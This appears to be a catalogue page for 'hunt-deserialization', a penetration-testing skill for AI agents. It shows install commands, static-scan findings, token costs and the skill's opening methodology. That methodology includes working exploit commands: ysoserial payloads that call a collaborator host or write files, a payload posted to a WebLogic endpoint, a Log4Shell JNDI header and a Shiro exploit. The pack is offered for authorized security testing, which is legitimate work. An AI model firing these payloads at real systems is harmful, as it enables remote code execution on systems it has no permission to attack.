Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add uphiago/recon-skills --skill hunt-deserializationgit clone --depth 1 https://github.com/uphiago/recon-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/uphiago/recon-skills/hunt-deserialization)<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-deserialization"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-deserialization/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-deserialization"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-deserialization.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 5 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 147 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 202 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- medium Data Exfiltration · line 68 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 98 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Privilege Escalation · line 148 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00079 | $0.02401 |
| Opus 5 | $0.00039 | $0.01201 |
| Sonnet 5 | $0.00016 | $0.00480 |
| Haiku 4.5 | $0.00008 | $0.00240 |
Grade A, and why
hunt-deserialization scanned grade A with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootlowPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root | Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe" Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')` How it starts
The opening of the file, as written. The whole thing — 206 lines — stays where its author put it; the contents beside it link to each section on GitHub.
HUNT-DESERIALIZATION — Insecure Deserialization
Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
- Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- PHP Object Injection —
__wakeup/__destructmagic methods → file write / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
- Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
- JNDI injection — Log4Shell pattern:
${jndi:ldap://attacker/a}→ class load → RCE
Attack Surface Signals
Detection Patterns
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl --max-time 30 --connect-timeout 10 -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
Header / Cookie Signals
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
Step-by-Step Hunting Methodology
Phase 1 — Java Deserialization (ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 206 lines · 79 tokens per session scan A 2aa2ba2be5f5
hunt-deserialization is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 9d ago), licensed MIT. It adds 79 tokens to every session and 2,401 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 3 findings (asks for root, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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